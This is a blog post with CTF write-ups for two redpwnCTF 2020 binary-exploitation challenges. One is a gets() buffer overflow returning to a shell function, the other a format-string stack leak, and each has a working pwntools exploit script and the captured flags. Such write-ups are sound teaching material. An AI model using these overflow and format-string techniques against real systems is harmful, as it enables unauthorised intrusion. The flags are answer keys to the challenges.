redpwnCTF Pwn Writeups

Bhupesh
5 min readJun 26, 2020

--

1. coffer-overflow-2

This challenge is based on ret2win attack with gets vulnerability.

For this challenge, we were provided with the source code and the executable which makes things significantly simpler .

Let’s first take a look at the source code,

At first glance, we can notice two interesting things, first the use of gets to take input into a buffer of size 16 and second an odd function i.e ‘binFunction()’. gets function is dangerous and should never be used, these aren’t my words, just take a look at the man page of gets. It doesn’t sanitize our input and hence we can an give it an input much bigger than 16 and overflow the buffer gaining control over the return address.

notice the segmentation fault

This Segmentation fault tells us that we have overflown the buffer and it doesn’t know where to go next as ‘0x41414141414141’ is not a valid address in program’s memory.

At this point this is pretty clear that we have to overflow the buffer and somehow return to binFunction to get a shell. In order to do that we need to find the exact offset where we can place the address of binFunction.

Use pwn cyclic utility for this, it creates a DeBrujin sequence which is basically a non-repeating sequence of random numbers and we can find the offset with it easily.

create a cyclic pattern and store it in a file
run the binary in gdb with the payload file as input
the address used is the first one in backtrace (bt)

And just like that we have our offset, now we can start writing our final exploit,

The address of binFunction can be found in multiple ways, I used readelf -s for this.

I used pwntools for writing the exploit, you can use subprocess, os or even just python with no modules.

Note: It is important to note that in 64bit binaries, the address must be given in little endian, pwntools lets us do that with p64() function.

Exploit:

from pwn import *#p = process(‘./coffer-overflow-2’)
p = remote(“2020.redpwnc.tf”, 31908)
binFunction = 0x4006e6payload = “A”*24
payload += p64(binFunction)
p.sendline(payload)p.interactive()

We have a shell and we can just cat out the flag.

Flag : flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}

2. secret-flag

This challenge uses the famous format string vulnerability and we had to leak the flag from the stack.

Let’s start with a standard analysis of the binary as the source code isn’t given.

So we have a 64-bit ELF, which is dynamically linked and stripped too. That means it doesn’t have any debugging symbols. Using checksec it is clear that it has all the protections on so doing a ret2libc attack doesn’t seem to be the case. Let’s disassemble the binary in ghidra and take a look at the source code.

The first thing you should do in a stripped binary is to check the entry function as it contains the __libc_start_main.

Although this binary doesn’t have function names like main, it still is dynamically linked with libc, which means that it’ll have to load __libc_start_main on startup and coincidentally the first argument of this function is the address to main.

In the line 22 of this disassembled code, we can see a format string vulnerability. As printf is being used without any format specifiers, (e.g %x, %s, %p, %n etc.) we can provide our own format specifiers from the input and printf would print stuff from the stack.

Ok great, but how is that useful? If you look at the code once more you can see that flag from flag.txt file is being stored in a variable and in turn the variables are stored on the stack.

So we can leak the flag by leaking the stack with printf.

Now you can either go into a debugger and try to find the exact position where the flag is being stored but with a stripped binary, that can be really frustrating. Instead just fuzz the binary until you find the correct position.

%s format specifier is used to print out a string and in order to print a string at a specific position, ‘%i$s’ is used, i being the position.

Now we can just run an infinite loop increasing the value of i until we hit ‘flag{‘ in response.

Exploit:

from pwn import *i=0
while(True):
#p = process('./secret-flag')
p = remote('2020.redpwnc.tf', 31826)
p.sendline("AAAA %%%d$s" % i)
i += 1
res = p.recv()
if 'flag{' in res:
print(res)
break

This script will run for few second and give out the flag at 7th position.

Flag : flag{n0t_s0_s3cr3t_f1ag_n0w}

P.S If you want to test this script locally just make a fake flag file and run the same exploit with the binary.

Thanks a lot for reading. Hope you leaned something from this short writeup.

-Viper_S

--

--